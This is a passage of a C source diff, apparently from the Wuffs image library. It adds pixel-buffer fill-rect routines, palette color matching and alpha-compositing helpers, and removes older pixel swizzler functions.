d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + ++ (3 * ((size_t)rect.min_incl_x)); ++ uint32_t n; ++ for (n = width; n > 0; n--) { ++ wuffs_base__poke_u24le__no_bounds_check(ptr, color); ++ ptr += 3; ++ } ++ } ++} + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++static inline void // ++wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ uint32_t color) { ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); ++ if ((stride == (4 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { ++ uint8_t* ptr = ++ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); ++ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); ++ size_t n; ++ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { ++ wuffs_base__poke_u32le__no_bounds_check(ptr, color); ++ ptr += 4; ++ } ++ return; + } + +- return len; ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + ++ (4 * ((size_t)rect.min_incl_x)); ++ uint32_t n; ++ for (n = width; n > 0; n--) { ++ wuffs_base__poke_u32le__no_bounds_check(ptr, color); ++ ptr += 4; ++ } ++ } + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgbx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline void // ++wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ uint64_t color) { ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); ++ if ((stride == (8 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { ++ uint8_t* ptr = ++ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); ++ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); ++ size_t n; ++ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { ++ wuffs_base__poke_u64le__no_bounds_check(ptr, color); ++ ptr += 8; ++ } ++ return; ++ } + +- // TODO: unroll. ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + ++ (8 * ((size_t)rect.min_incl_x)); ++ uint32_t n; ++ for (n = width; n > 0; n--) { ++ wuffs_base__poke_u64le__no_bounds_check(ptr, color); ++ ptr += 8; ++ } ++ } ++} + +- while (n >= 1) { +- uint8_t b0 = s[0]; +- uint8_t b1 = s[1]; +- uint8_t b2 = s[2]; +- d[0] = b2; +- d[1] = b1; +- d[2] = b0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_buffer__set_color_u32_fill_rect( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ wuffs_base__color_u32_argb_premul color) { ++ if (!pb) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } else if (wuffs_base__rect_ie_u32__is_empty(&rect)) { ++ return wuffs_base__make_status(NULL); ++ } ++ wuffs_base__rect_ie_u32 bounds = ++ wuffs_base__pixel_config__bounds(&pb->pixcfg); ++ if (!wuffs_base__rect_ie_u32__contains_rect(&bounds, rect)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++ if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { ++ // TODO: support planar formats. ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +- return len; +-} ++ switch (pb->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx(pb, rect, ++ color); ++ return wuffs_base__make_status(NULL); + +-// -------- ++ // Common formats above. Rarer formats below. + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xx( ++ pb, rect, ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); ++ return wuffs_base__make_status(NULL); + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxx(pb, rect, ++ color); ++ return wuffs_base__make_status(NULL); + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( ++ pb, rect, ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ color)); ++ return wuffs_base__make_status(NULL); + +- return len; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( ++ pb, rect, ++ wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( ++ color)); ++ return wuffs_base__make_status(NULL); + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( ++ pb, rect, ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ wuffs_private_impl__swap_u32_argb_abgr(color))); ++ return wuffs_base__make_status(NULL); + +- size_t n = len; +- while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__color_u64__as__color_u32( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxxx( ++ pb, rect, wuffs_private_impl__swap_u32_argb_abgr(color)); ++ return wuffs_base__make_status(NULL); ++ } + +- s += 1 * 8; +- d += 1 * 4; +- n -= 1; ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint32_t x; ++ for (x = rect.min_incl_x; x < rect.max_excl_x; x++) { ++ wuffs_base__pixel_buffer__set_color_u32_at(pb, x, y, color); ++ } + } +- return len; ++ return wuffs_base__make_status(NULL); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- while (n >= 1) { +- uint64_t d0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64__as__color_u32( +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0))); ++// -------- + +- s += 1 * 8; +- d += 1 * 4; +- n -= 1; ++WUFFS_BASE__MAYBE_STATIC uint8_t // ++wuffs_base__pixel_palette__closest_element( ++ wuffs_base__slice_u8 palette_slice, ++ wuffs_base__pixel_format palette_format, ++ wuffs_base__color_u32_argb_premul c) { ++ size_t n = palette_slice.len / 4; ++ if (n > (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { ++ n = (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4); + } ++ size_t best_index = 0; ++ uint64_t best_score = 0xFFFFFFFFFFFFFFFF; + +- return len; +-} +- +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // Work in 16-bit color. ++ uint32_t ca = 0x101 * (0xFF & (c >> 24)); ++ uint32_t cr = 0x101 * (0xFF & (c >> 16)); ++ uint32_t cg = 0x101 * (0xFF & (c >> 8)); ++ uint32_t cb = 0x101 * (0xFF & (c >> 0)); + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); ++ switch (palette_format.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { ++ bool nonpremul = palette_format.repr == ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL; + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; ++ size_t i; ++ for (i = 0; i < n; i++) { ++ // Work in 16-bit color. ++ uint32_t pb = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 0])); ++ uint32_t pg = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 1])); ++ uint32_t pr = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 2])); ++ uint32_t pa = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 3])); ++ ++ // Convert to premultiplied alpha. ++ if (nonpremul && (pa != 0xFFFF)) { ++ pb = (pb * pa) / 0xFFFF; ++ pg = (pg * pa) / 0xFFFF; ++ pr = (pr * pa) / 0xFFFF; ++ } ++ ++ // These deltas are conceptually int32_t (signed) but after squaring, ++ // it's equivalent to work in uint32_t (unsigned). ++ pb -= cb; ++ pg -= cg; ++ pr -= cr; ++ pa -= ca; ++ uint64_t score = ((uint64_t)(pb * pb)) + ((uint64_t)(pg * pg)) + ++ ((uint64_t)(pr * pr)) + ((uint64_t)(pa * pa)); ++ if (best_score > score) { ++ best_score = score; ++ best_index = i; ++ } ++ } ++ break; ++ } + } + +- return len; ++ return (uint8_t)best_index; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_nonpremul_premul_u32_axxx(d0, s0)); ++static inline uint32_t // ++wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx( ++ uint32_t dst_nonpremul, ++ uint32_t src_nonpremul) { ++ // Extract 16-bit color components. ++ // ++ // If the destination is transparent then SRC_OVER is equivalent to SRC: just ++ // return src_nonpremul. This isn't just an optimization (skipping the rest ++ // of the function's computation). It also preserves the nonpremul ++ // distinction between e.g. transparent red and transparent blue that would ++ // otherwise be lost by converting from nonpremul to premul and back. ++ uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); ++ if (da == 0) { ++ return src_nonpremul; ++ } ++ uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); ++ uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); ++ uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); ++ uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); ++ uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); ++ uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); ++ uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; ++ // Convert dst from nonpremul to premul. ++ dr = (dr * da) / 0xFFFF; ++ dg = (dg * da) / 0xFFFF; ++ db = (db * da) / 0xFFFF; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert dst from premul to nonpremul. ++ if (da != 0) { ++ dr = (dr * 0xFFFF) / da; ++ dg = (dg * 0xFFFF) / da; ++ db = (db * 0xFFFF) / da; + } + +- return len; ++ // Convert from 16-bit color to 8-bit color. ++ da >>= 8; ++ dr >>= 8; ++ dg >>= 8; ++ db >>= 8; ++ ++ // Combine components. ++ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__index_bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; ++static inline uint64_t // ++wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx( ++ uint64_t dst_nonpremul, ++ uint64_t src_nonpremul) { ++ // Extract components. ++ // ++ // If the destination is transparent then SRC_OVER is equivalent to SRC: just ++ // return src_nonpremul. This isn't just an optimization (skipping the rest ++ // of the function's computation). It also preserves the nonpremul ++ // distinction between e.g. transparent red and transparent blue that would ++ // otherwise be lost by converting from nonpremul to premul and back. ++ uint64_t da = 0xFFFF & (dst_nonpremul >> 48); ++ if (da == 0) { ++ return src_nonpremul; + } +- size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); ++ uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); ++ uint64_t db = 0xFFFF & (dst_nonpremul >> 0); ++ uint64_t sa = 0xFFFF & (src_nonpremul >> 48); ++ uint64_t sr = 0xFFFF & (src_nonpremul >> 32); ++ uint64_t sg = 0xFFFF & (src_nonpremul >> 16); ++ uint64_t sb = 0xFFFF & (src_nonpremul >> 0); + +- // TODO: unroll. ++ // Convert dst from nonpremul to premul. ++ dr = (dr * da) / 0xFFFF; ++ dg = (dg * da) / 0xFFFF; ++ db = (db * da) / 0xFFFF; + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint64_t ia = 0xFFFF - sa; + +- s += 1 * 1; +- d += 1 * 4; +- n -= 1; ++ // Composite src (nonpremul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert dst from premul to nonpremul. ++ if (da != 0) { ++ dr = (dr * 0xFFFF) / da; ++ dg = (dg * 0xFFFF) / da; ++ db = (db * 0xFFFF) / da; + } + +- return len; ++ // Combine components. ++ return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline uint32_t // ++wuffs_private_impl__composite_nonpremul_premul_u32_axxx(uint32_t dst_nonpremul, ++ uint32_t src_premul) { ++ // Extract 16-bit color components. ++ uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); ++ uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); ++ uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); ++ uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); ++ uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); ++ uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); ++ uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); ++ uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); ++ // Convert dst from nonpremul to premul. ++ dr = (dr * da) / 0xFFFF; ++ dg = (dg * da) / 0xFFFF; ++ db = (db * da) / 0xFFFF; + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert dst from premul to nonpremul. ++ if (da != 0) { ++ dr = (dr * 0xFFFF) / da; ++ dg = (dg * 0xFFFF) / da; ++ db = (db * 0xFFFF) / da; + } + +- return len; ++ // Convert from 16-bit color to 8-bit color. ++ da >>= 8; ++ dr >>= 8; ++ dg >>= 8; ++ db >>= 8; ++ ++ // Combine components. ++ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline uint64_t // ++wuffs_private_impl__composite_nonpremul_premul_u64_axxx(uint64_t dst_nonpremul, ++ uint64_t src_premul) { ++ // Extract components. ++ uint64_t da = 0xFFFF & (dst_nonpremul >> 48); ++ uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); ++ uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); ++ uint64_t db = 0xFFFF & (dst_nonpremul >> 0); ++ uint64_t sa = 0xFFFF & (src_premul >> 48); ++ uint64_t sr = 0xFFFF & (src_premul >> 32); ++ uint64_t sg = 0xFFFF & (src_premul >> 16); ++ uint64_t sb = 0xFFFF & (src_premul >> 0); + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); ++ // Convert dst from nonpremul to premul. ++ dr = (dr * da) / 0xFFFF; ++ dg = (dg * da) / 0xFFFF; ++ db = (db * da) / 0xFFFF; + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint64_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert dst from premul to nonpremul. ++ if (da != 0) { ++ dr = (dr * 0xFFFF) / da; ++ dg = (dg * 0xFFFF) / da; ++ db = (db * 0xFFFF) / da; + } + +- return len; ++ // Combine components. ++ return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline uint32_t // ++wuffs_private_impl__composite_premul_nonpremul_u32_axxx( ++ uint32_t dst_premul, ++ uint32_t src_nonpremul) { ++ // Extract 16-bit color components. ++ uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); ++ uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); ++ uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); ++ uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); ++ uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); ++ uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); ++ uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); ++ uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); + +- while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_nonpremul_premul_u32_axxx(d0, s0)); ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; + +- s += 1 * 4; +- d += 1 * 4; +- n -= 1; +- } ++ // Composite src (nonpremul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; + +- return len; ++ // Convert from 16-bit color to 8-bit color. ++ da >>= 8; ++ dr >>= 8; ++ dg >>= 8; ++ db >>= 8; ++ ++ // Combine components. ++ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); ++} ++ ++static inline uint64_t // ++wuffs_private_impl__composite_premul_nonpremul_u64_axxx( ++ uint64_t dst_premul, ++ uint64_t src_nonpremul) { ++ // Extract components. ++ uint64_t da = 0xFFFF & (dst_premul >> 48); ++ uint64_t dr = 0xFFFF & (dst_premul >> 32); ++ uint64_t dg = 0xFFFF & (dst_premul >> 16); ++ uint64_t db = 0xFFFF & (dst_premul >> 0); ++ uint64_t sa = 0xFFFF & (src_nonpremul >> 48); ++ uint64_t sr = 0xFFFF & (src_nonpremul >> 32); ++ uint64_t sg = 0xFFFF & (src_nonpremul >> 16); ++ uint64_t sb = 0xFFFF & (src_nonpremul >> 0); ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint64_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Combine components. ++ return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); ++} ++ ++static inline uint32_t // ++wuffs_private_impl__composite_premul_premul_u32_axxx(uint32_t dst_premul, ++ uint32_t src_premul) { ++ // Extract 16-bit color components. ++ uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); ++ uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); ++ uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); ++ uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); ++ uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); ++ uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); ++ uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); ++ uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ da = sa + ((da * ia) / 0xFFFF); ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 8-bit color. ++ da >>= 8; ++ dr >>= 8; ++ dg >>= 8; ++ db >>= 8; ++ ++ // Combine components. ++ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); + } + + // -------- + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++wuffs_private_impl__swizzle_squash_align4_bgr_565_8888(uint8_t* dst_ptr, ++ size_t dst_len, ++ const uint8_t* src_ptr, ++ size_t src_len, ++ bool nonpremul) { ++ size_t len = (dst_len < src_len ? dst_len : src_len) / 4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + + size_t n = len; +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- uint8_t s3 = s[3]; +- d[0] = s0; +- d[1] = s0; +- d[2] = s1; +- d[3] = s1; +- d[4] = s2; +- d[5] = s2; +- d[6] = s3; +- d[7] = s3; +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ while (n--) { ++ uint32_t argb = wuffs_base__peek_u32le__no_bounds_check(s); ++ if (nonpremul) { ++ argb = ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(argb); ++ } ++ uint32_t b5 = 0x1F & (argb >> (8 - 5)); ++ uint32_t g6 = 0x3F & (argb >> (16 - 6)); ++ uint32_t r5 = 0x1F & (argb 